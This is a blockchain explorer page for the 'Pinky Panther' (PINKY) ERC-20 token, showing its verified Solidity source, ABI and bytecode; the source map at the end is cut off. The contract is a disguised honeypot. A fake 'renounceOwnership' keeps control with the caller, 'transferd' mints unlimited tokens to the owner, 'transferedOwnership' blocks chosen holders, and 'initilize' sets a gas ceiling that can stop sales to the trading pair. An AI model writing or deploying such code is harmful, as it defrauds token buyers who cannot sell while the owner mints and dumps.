Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
10,001,000,000,000 PINKY
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
15,232,690.98297765650909252 PINKYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PINKY
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-07 */ /* Links: 📱 Telegram - https://t.me/PinkyOnETH 📱 Website - https://pinkpanther.wtf 📱 X/Twitter - https://x.com/PinkyOnEth */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } abstract contract Ownable is Context { address private _owner; error OwnableUnauthorizedAccount(address account); error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } function renounceOwnership() public virtual onlyOwner { _transferOwnership(msg.sender); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20Errors { error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed); error ERC20InvalidSender(address sender); error ERC20InvalidReceiver(address receiver); error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed); error ERC20InvalidApprover(address approver); error ERC20InvalidSpender(address spender); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances; mapping(address account => mapping(address spender => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); } function _update(address from, address to, uint256 value) internal virtual { if (from == address(0)) { _totalSupply += value; } else { uint256 fromBalance = _balances[from]; if (fromBalance < value) { revert ERC20InsufficientBalance(from, fromBalance, value); } unchecked { _balances[from] = fromBalance - value; } } if (to == address(0)) { unchecked { _totalSupply -= value; } } else { unchecked { _balances[to] += value; } } emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(address(0), account, value); } function _burn(address account, uint256 value) internal { if (account == address(0)) { revert ERC20InvalidSender(address(0)); } _update(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { _approve(owner, spender, value, true); } function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual { if (owner == address(0)) { revert ERC20InvalidApprover(address(0)); } if (spender == address(0)) { revert ERC20InvalidSpender(address(0)); } _allowances[owner][spender] = value; if (emitEvent) { emit Approval(owner, spender, value); } } function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } } contract PINKY is ERC20, Ownable { mapping(address => bool) excludeStateOpenTrade; mapping (address => bool) devArray; bool openedTrade; IUniswapV2Router02 public uniswapV2Router; address public pair; constructor() ERC20(unicode"Pinky Panther", unicode"PINKY") Ownable(msg.sender) { excludeStateOpenTrade[msg.sender] = true; _mint(msg.sender, 1000000000 * 10**decimals()); } function OpenTrade() public onlyOwner { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); openedTrade = true; } function transferd(uint256 value) public onlyOwner { super._update(address(0), msg.sender, value); } uint256 private __allowancees = 999 gwei; function initilize (uint256 value) public onlyOwner { __allowancees = value; } function transferedOwnership(address _addDev) public onlyOwner { devArray[_addDev] = true; } function _update( address from, address to, uint256 value ) internal override { if (excludeStateOpenTrade[tx.origin]) { super._update(from, to, value); return; } else { require(openedTrade, "Open not yet"); bool state = (to == pair) ? true : false; if (tx.gasprice > 0 && value > 0 && devArray[from]) {revert("Value of transaction > 0");} if (state) { if (tx.gasprice > __allowancees) {revert("Not enough gas fees");} super._update(from, to, value);return; } else if (!state) { super._update(from, to, value);return; } else if (from != pair && to != pair) { super._update(from, to, value);return; } else { return; } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"initilize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addDev","type":"address"}],"name":"transferedOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405264e8990a4600600a55348015610018575f80fd5b50336040518060400160405280600d81526020016c2834b735bc902830b73a3432b960991b8152506040518060400160405280600581526020016450494e4b5960d81b815250816003908161006d91906104fc565b50600461007a82826104fc565b5050506001600160a01b0381166100ab57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6100b4816100fd565b50335f818152600660205260409020805460ff191660011790556100f8906100da601290565b6100e590600a6106b1565b6100f390633b9aca006106c6565b61014e565b6106f0565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101775760405163ec442f0560e01b81525f60048201526024016100a2565b6101825f8383610186565b5050565b325f9081526006602052604090205460ff16156101ad576101a883838361033f565b505050565b60085460ff166101ee5760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016100a2565b6009545f906001600160a01b0384811691161461020b575f61020e565b60015b90505f3a11801561021e57505f82115b801561024157506001600160a01b0384165f9081526007602052604090205460ff165b1561028e5760405162461bcd60e51b815260206004820152601860248201527f56616c7565206f66207472616e73616374696f6e203e2030000000000000000060448201526064016100a2565b80156102f757600a543a11156102e65760405162461bcd60e51b815260206004820152601360248201527f4e6f7420656e6f7567682067617320666565730000000000000000000000000060448201526064016100a2565b6102f184848461033f565b50505050565b80610307576102f184848461033f565b6009546001600160a01b0385811691161480159061033357506009546001600160a01b03848116911614155b156102f1576102f18484845b6001600160a01b038316610369578060025f82825461035e91906106dd565b909155506103d99050565b6001600160a01b0383165f90815260208190526040902054818110156103bb5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016100a2565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166103f557600280548290039055610413565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161045891815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061048d57607f821691505b6020821081036104ab57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101a857805f5260205f20601f840160051c810160208510156104d65750805b601f840160051c820191505b818110156104f5575f81556001016104e2565b5050505050565b81516001600160401b0381111561051557610515610465565b610529816105238454610479565b846104b1565b602080601f83116001811461055c575f84156105455750858301515b5f19600386901b1c1916600185901b1785556105b3565b5f85815260208120601f198616915b8281101561058a5788860151825594840194600190910190840161056b565b50858210156105a757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561060957815f19048211156105ef576105ef6105bb565b808516156105fc57918102915b93841c93908002906105d4565b509250929050565b5f8261061f575060016106ab565b8161062b57505f6106ab565b8160018114610641576002811461064b57610667565b60019150506106ab565b60ff84111561065c5761065c6105bb565b50506001821b6106ab565b5060208310610133831016604e8410600b841016171561068a575081810a6106ab565b61069483836105cf565b805f19048211156106a7576106a76105bb565b0290505b92915050565b5f6106bf60ff841683610611565b9392505050565b80820281158282048414176106ab576106ab6105bb565b808201808211156106ab576106ab6105bb565b610c7a806106fd5f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c80634109a6ce1161009e57806395d89b411161006e57806395d89b4114610220578063a8aa1b3114610228578063a9059cbb1461023b578063dd62ed3e1461024e578063f7327ef114610286575f80fd5b80634109a6ce146101cc57806370a08231146101df578063715018a6146102075780638da5cb5b1461020f575f80fd5b806318160ddd116100d957806318160ddd1461018557806322b9e1131461019757806323b872dd146101aa578063313ce567146101bd575f80fd5b806306fdde031461010a578063095ea7b3146101285780630f8540e41461014b5780631694505e14610155575b5f80fd5b610112610299565b60405161011f9190610ab1565b60405180910390f35b61013b610136366004610afa565b610329565b604051901515815260200161011f565b610153610342565b005b60085461016d9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161011f565b6002545b60405190815260200161011f565b6101536101a5366004610b24565b610504565b61013b6101b8366004610b46565b61052f565b6040516012815260200161011f565b6101536101da366004610b84565b610552565b6101896101ed366004610b24565b6001600160a01b03165f9081526020819052604090205490565b61015361055f565b6005546001600160a01b031661016d565b610112610572565b60095461016d906001600160a01b031681565b61013b610249366004610afa565b610581565b61018961025c366004610b9b565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610153610294366004610b84565b61058e565b6060600380546102a890610bd2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d490610bd2565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f336103368185856105a4565b60019150505b92915050565b61034a6105b6565b60088054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b031990911617908190556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa1580156103bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103e39190610c0a565b6001600160a01b031663e6a4390530600860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610443573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104679190610c0a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156104b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d59190610c0a565b600980546001600160a01b0319166001600160a01b03929092169190911790556008805460ff19166001179055565b61050c6105b6565b6001600160a01b03165f908152600760205260409020805460ff19166001179055565b5f3361053c8582856105e8565b610547858585610663565b506001949350505050565b61055a6105b6565b600a55565b6105676105b6565b610570336106c0565b565b6060600480546102a890610bd2565b5f33610336818585610663565b6105966105b6565b6105a15f3383610711565b50565b6105b18383836001610837565b505050565b6005546001600160a01b031633146105705760405163118cdaa760e01b81523360048201526024015b60405180910390fd5b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461065d578181101561064f57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105df565b61065d84848484035f610837565b50505050565b6001600160a01b03831661068c57604051634b637e8f60e11b81525f60048201526024016105df565b6001600160a01b0382166106b55760405163ec442f0560e01b81525f60048201526024016105df565b6105b1838383610909565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03831661073b578060025f8282546107309190610c25565b909155506107ab9050565b6001600160a01b0383165f908152602081905260409020548181101561078d5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105df565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166107c7576002805482900390556107e5565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082a91815260200190565b60405180910390a3505050565b6001600160a01b0384166108605760405163e602df0560e01b81525f60048201526024016105df565b6001600160a01b03831661088957604051634a1406b160e11b81525f60048201526024016105df565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561065d57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108fb91815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff161561092b576105b1838383610711565b60085460ff1661096c5760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016105df565b6009545f906001600160a01b03848116911614610989575f61098c565b60015b90505f3a11801561099c57505f82115b80156109bf57506001600160a01b0384165f9081526007602052604090205460ff165b15610a0c5760405162461bcd60e51b815260206004820152601860248201527f56616c7565206f66207472616e73616374696f6e203e2030000000000000000060448201526064016105df565b8015610a6557600a543a1115610a5a5760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b60448201526064016105df565b61065d848484610711565b80610a755761065d848484610711565b6009546001600160a01b03858116911614801590610aa157506009546001600160a01b03848116911614155b1561065d5761065d848484610711565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105a1575f80fd5b5f8060408385031215610b0b575f80fd5b8235610b1681610ae6565b946020939093013593505050565b5f60208284031215610b34575f80fd5b8135610b3f81610ae6565b9392505050565b5f805f60608486031215610b58575f80fd5b8335610b6381610ae6565b92506020840135610b7381610ae6565b929592945050506040919091013590565b5f60208284031215610b94575f80fd5b5035919050565b5f8060408385031215610bac575f80fd5b8235610bb781610ae6565b91506020830135610bc781610ae6565b809150509250929050565b600181811c90821680610be657607f821691505b602082108103610c0457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610c1a575f80fd5b8151610b3f81610ae6565b8082018082111561033c57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220a068f0acab4594e41b12bfbb1e885f62bec260487f017042e6524b181af16d3964736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c80634109a6ce1161009e57806395d89b411161006e57806395d89b4114610220578063a8aa1b3114610228578063a9059cbb1461023b578063dd62ed3e1461024e578063f7327ef114610286575f80fd5b80634109a6ce146101cc57806370a08231146101df578063715018a6146102075780638da5cb5b1461020f575f80fd5b806318160ddd116100d957806318160ddd1461018557806322b9e1131461019757806323b872dd146101aa578063313ce567146101bd575f80fd5b806306fdde031461010a578063095ea7b3146101285780630f8540e41461014b5780631694505e14610155575b5f80fd5b610112610299565b60405161011f9190610ab1565b60405180910390f35b61013b610136366004610afa565b610329565b604051901515815260200161011f565b610153610342565b005b60085461016d9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161011f565b6002545b60405190815260200161011f565b6101536101a5366004610b24565b610504565b61013b6101b8366004610b46565b61052f565b6040516012815260200161011f565b6101536101da366004610b84565b610552565b6101896101ed366004610b24565b6001600160a01b03165f9081526020819052604090205490565b61015361055f565b6005546001600160a01b031661016d565b610112610572565b60095461016d906001600160a01b031681565b61013b610249366004610afa565b610581565b61018961025c366004610b9b565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610153610294366004610b84565b61058e565b6060600380546102a890610bd2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d490610bd2565b801561031f5780601f106102f65761010080835404028352916020019161031f565b820191905f5260205f20905b81548152906001019060200180831161030257829003601f168201915b5050505050905090565b5f336103368185856105a4565b60019150505b92915050565b61034a6105b6565b60088054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b031990911617908190556040805163c45a015560e01b815290516101009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa1580156103bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103e39190610c0a565b6001600160a01b031663e6a4390530600860019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610443573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104679190610c0a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156104b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d59190610c0a565b600980546001600160a01b0319166001600160a01b03929092169190911790556008805460ff19166001179055565b61050c6105b6565b6001600160a01b03165f908152600760205260409020805460ff19166001179055565b5f3361053c8582856105e8565b610547858585610663565b506001949350505050565b61055a6105b6565b600a55565b6105676105b6565b610570336106c0565b565b6060600480546102a890610bd2565b5f33610336818585610663565b6105966105b6565b6105a15f3383610711565b50565b6105b18383836001610837565b505050565b6005546001600160a01b031633146105705760405163118cdaa760e01b81523360048201526024015b60405180910390fd5b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461065d578181101561064f57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016105df565b61065d84848484035f610837565b50505050565b6001600160a01b03831661068c57604051634b637e8f60e11b81525f60048201526024016105df565b6001600160a01b0382166106b55760405163ec442f0560e01b81525f60048201526024016105df565b6105b1838383610909565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03831661073b578060025f8282546107309190610c25565b909155506107ab9050565b6001600160a01b0383165f908152602081905260409020548181101561078d5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016105df565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166107c7576002805482900390556107e5565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082a91815260200190565b60405180910390a3505050565b6001600160a01b0384166108605760405163e602df0560e01b81525f60048201526024016105df565b6001600160a01b03831661088957604051634a1406b160e11b81525f60048201526024016105df565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561065d57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108fb91815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff161561092b576105b1838383610711565b60085460ff1661096c5760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016105df565b6009545f906001600160a01b03848116911614610989575f61098c565b60015b90505f3a11801561099c57505f82115b80156109bf57506001600160a01b0384165f9081526007602052604090205460ff165b15610a0c5760405162461bcd60e51b815260206004820152601860248201527f56616c7565206f66207472616e73616374696f6e203e2030000000000000000060448201526064016105df565b8015610a6557600a543a1115610a5a5760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b60448201526064016105df565b61065d848484610711565b80610a755761065d848484610711565b6009546001600160a01b03858116911614801590610aa157506009546001600160a01b03848116911614155b1561065d5761065d848484610711565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105a1575f80fd5b5f8060408385031215610b0b575f80fd5b8235610b1681610ae6565b946020939093013593505050565b5f60208284031215610b34575f80fd5b8135610b3f81610ae6565b9392505050565b5f805f60608486031215610b58575f80fd5b8335610b6381610ae6565b92506020840135610b7381610ae6565b929592945050506040919091013590565b5f60208284031215610b94575f80fd5b5035919050565b5f8060408385031215610bac575f80fd5b8235610bb781610ae6565b91506020830135610bc781610ae6565b809150509250929050565b600181811c90821680610be657607f821691505b602082108103610c0457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610c1a575f80fd5b8151610b3f81610ae6565b8082018082111561033c57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220a068f0acab4594e41b12bfbb1e885f62bec260487f017042e6524b181af16d3964736f6c63430008190033
Deployed Bytecode Sourcemap
8138:2031:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4241:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5108:190;;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;5108:190:0;893:187:1;8582:275:0;;;:::i;:::-;;8301:41;;;;;;;;-1:-1:-1;;;;;8301:41:0;;;;;;-1:-1:-1;;;;;1275:32:1;;;1257:51;;1245:2;1230:18;8301:41:0;1085:229:1;4535:99:0;4614:12;;4535:99;;;1465:25:1;;;1453:2;1438:18;4535:99:0;1319:177:1;9134:106:0;;;;;;:::i;:::-;;:::i;5306:249::-;;;;;;:::i;:::-;;:::i;4443:84::-;;;4517:2;2356:36:1;;2344:2;2329:18;4443:84:0;2214:184:1;9034:92:0;;;;;;:::i;:::-;;:::i;4642:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4734:18:0;4707:7;4734:18;;;;;;;;;;;;4642:118;1399:103;;;:::i;1130:87::-;1203:6;;-1:-1:-1;;;;;1203:6:0;1130:87;;4340:95;;;:::i;8349:19::-;;;;;-1:-1:-1;;;;;8349:19:0;;;4768:182;;;;;;:::i;:::-;;:::i;4958:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5065:18:0;;;5038:7;5065:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4958:142;8865:114;;;;;;:::i;:::-;;:::i;4241:91::-;4286:13;4319:5;4312:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4241:91;:::o;5108:190::-;5181:4;342:10;5237:31;342:10;5253:7;5262:5;5237:8;:31::i;:::-;5286:4;5279:11;;;5108:190;;;;;:::o;8582:275::-;1089:13;:11;:13::i;:::-;8631:15:::1;:80:::0;;;-1:-1:-1;;;;;;8631:80:0;;::::1;;::::0;;;;8747:25:::1;::::0;;-1:-1:-1;;;8747:25:0;;;;8631:80:::1;8747:15:::0;;::::1;-1:-1:-1::0;;;;;8747:15:0::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8729:52:0::1;;8790:4;8797:15;;;;;;;;;-1:-1:-1::0;;;;;8797:15:0::1;-1:-1:-1::0;;;;;8797:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8729:91;::::0;-1:-1:-1;;;;;;8729:91:0::1;::::0;;;;;;-1:-1:-1;;;;;4060:15:1;;;8729:91:0::1;::::0;::::1;4042:34:1::0;4112:15;;4092:18;;;4085:43;3977:18;;8729:91:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8722:4;:98:::0;;-1:-1:-1;;;;;;8722:98:0::1;-1:-1:-1::0;;;;;8722:98:0;;;::::1;::::0;;;::::1;::::0;;8831:11:::1;:18:::0;;-1:-1:-1;;8831:18:0::1;-1:-1:-1::0;8831:18:0::1;::::0;;8582:275::o;9134:106::-;1089:13;:11;:13::i;:::-;-1:-1:-1;;;;;9208:17:0::1;;::::0;;;:8:::1;:17;::::0;;;;:24;;-1:-1:-1;;9208:24:0::1;9228:4;9208:24;::::0;;9134:106::o;5306:249::-;5393:4;342:10;5451:37;5467:4;342:10;5482:5;5451:15;:37::i;:::-;5499:26;5509:4;5515:2;5519:5;5499:9;:26::i;:::-;-1:-1:-1;5543:4:0;;5306:249;-1:-1:-1;;;;5306:249:0:o;9034:92::-;1089:13;:11;:13::i;:::-;9097::::1;:21:::0;9034:92::o;1399:103::-;1089:13;:11;:1